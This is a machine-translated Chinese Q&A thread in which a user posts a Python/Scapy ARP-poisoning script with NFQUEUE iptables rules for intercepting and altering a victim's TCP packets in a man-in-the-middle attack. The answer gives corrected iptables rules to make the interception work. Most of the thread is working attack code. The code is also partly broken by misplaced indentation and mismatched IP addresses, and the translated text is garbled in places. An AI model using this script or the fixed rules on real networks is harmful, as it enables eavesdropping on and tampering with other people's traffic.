MITM和有效载荷注入Python

Question

我尝试毒化我的本地网络(MITM(，以使TCP上的值发送，更改并发送。(使用Scapy和NetFilter与Iptables一起使用(我不可能即时更改数据包，否则我必须创建该副本，然后将其删除并发送具有更改特定值的新数据包。现在我写了此代码，但没有看到任何数据包。

/proc/net/netfilter/nfnetlink_queue 
0  48352     0 2 65531     0     0        0  1

iptables规则：

iptables -I INPUT -s 192.168.0.2 -p tcp --dport 6767 -j NFQUEUE

192.168.3.2是受害者，192.168.0.1是网关和转发：

   /proc/sys/net/ipv4/ip_forward
1

这是我的代码：

    from scapy.all import *
from scapy.error import Scapy_Exception
import os
import sys
import threading
import signal
from netfilterqueue import NetfilterQueue
import nfqueue
INTERFACE       =   'eth0'
TARGET_IP       =   '192.168.0.1'
GATEWAY_IP      =   '192.168.0.2'
PACKET_COUNT    =  100
def test (packet):
    print packet.show()
    packet.accept()
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    print '[*] Restoring targets...'
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst='ff:ff:ff:ff:ff:ff', 
        hwsrc=gateway_mac), count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", 
        hwsrc=target_mac), count=5)
    os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
    response, unanswered = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_address), 
        timeout=2, retry=10)
    for s, r in response:
        return r[Ether].src
    return None
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac
    print '[*] Beginning the ARP poison. [CTRL-C to stop]'
    while 1:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
        print '[*] ARP poison attack finished.'
        return
    if __name__ == '__main__':
        conf.iface = INTERFACE
        conf.verb = 0
        print "[*] Setting up %s" % INTERFACE
        GATEWAY_MAC = get_mac(GATEWAY_IP)
        if GATEWAY_MAC is None:
            print "[-] Failed to get gateway MAC. Exiting."
            sys.exit(0)
        else:
            print "[*] Gateway %s is at %s" %(GATEWAY_IP, GATEWAY_MAC)
        TARGET_MAC = get_mac(TARGET_IP)
        if TARGET_MAC is None:
            print "[-] Failed to get target MAC. Exiting."
            sys.exit(0)
        else:
            print "[*] Target %s is at %s" % (TARGET_IP, TARGET_MAC)
    poison_thread = threading.Thread(target = poison_target, args=(GATEWAY_IP, GATEWAY_MAC, 
        TARGET_IP, TARGET_MAC))
    poison_thread.start()
    # Create Queue
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(test)
    q.create_queue(0)
    try:
        print '[*] Starting sniffer for %d packets' %PACKET_COUNT
        bpf_filter = 'IP host ' + TARGET_IP
        q.try_run()
        restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
    except Scapy_Exception as msg:
        print msg, "Hi there!!"
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        restore_target(GATEWAY_IP, GATEWAY_MAC, TARGET_IP, TARGET_MAC)
        sys.exist()

我敢肯定Arp-poisoning运行良好，但我不知道为什么它没有打印
参考这些链接：ARP毒品和更改TCP有效载荷和

更改fly-with-scapy的包装

Answer 1

您应该指定用于输入和已建立连接的队列。例如，队列0，以192.168.0.2为您的网关(假设您是网关，并且是做化装舞会的网关(：

iptables -I INPUT -s 192.168.0.2 -p tcp --dport 6767 -j NFQUEUE --queue-num 0
iptables -I OUTPUT -d 192.168.0.2 -p tcp --sport 6767 -m conntrack --ctstate RELATED,ESTABLISHED -j NFQUEUE --queue-num 0

请修复您的代码，似乎" Main"中的某些代码已滑入" Poison_target"